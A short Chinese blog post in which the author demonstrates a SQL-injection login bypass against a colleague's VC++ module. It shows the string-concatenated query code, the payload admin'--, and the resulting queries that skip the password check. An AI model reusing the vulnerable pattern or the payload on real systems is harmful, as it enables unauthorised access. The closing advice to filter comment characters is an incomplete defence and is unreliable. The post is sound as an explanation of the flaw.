今天沒帶眼鏡,,所以不太想幹活
也不知怎的,
對公司另一同事寫的業務臺模塊來了興趣..幫其"測試一下"
在VC的代碼片段是
CString SqlText = "Select User_ID, Login_Name, Login_Pwd, Chinese_Name, Operation from A_Employee Where Login_Name = '"
+ m_username.Trim()
+ "' and pwdcompare(" + tmppwd
+ ", Login_Pwd, 0) = 1";
及
SqlText = "Select * FROM A_Employee WHERE Login_Name = '" + m_username.Trim() + "'";
把其放到SQL後,
Select User_ID, Login_Name, Login_Pwd, Chinese_Name, Operation
from A_Employee
Where Login_Name = 'admin' and pwdcompare('******', Login_Pwd, 0) = 1
Select * FROM A_Employee WHERE Login_Name = 'admin ';
再用註釋短路掉之後....也就是在輸入用戶名是 admin'--
(第一個單引號與之前語句的單引號配對, 後面跟的是用註釋把後面的密碼驗證邏輯給短路掉.
變成了下面的
Select User_ID, Login_Name, Login_Pwd, Chinese_Name, Operation from A_Employee Where Login_Name = 'admin'--' and pwdcompare('******', Login_Pwd, 0) = 1 Select * FROM A_Employee WHERE Login_Name = 'admin '--';
這樣就登陸了,,不過我還是要知道有Admin這個用戶...有點假,
不過後來再想了一下. 公司這個軟件是在局域網使用的,對安全性要求沒有那麼高也是正常的,
其實只要在輸入的時候,把註釋類似的敏感字符給註釋掉就可以了.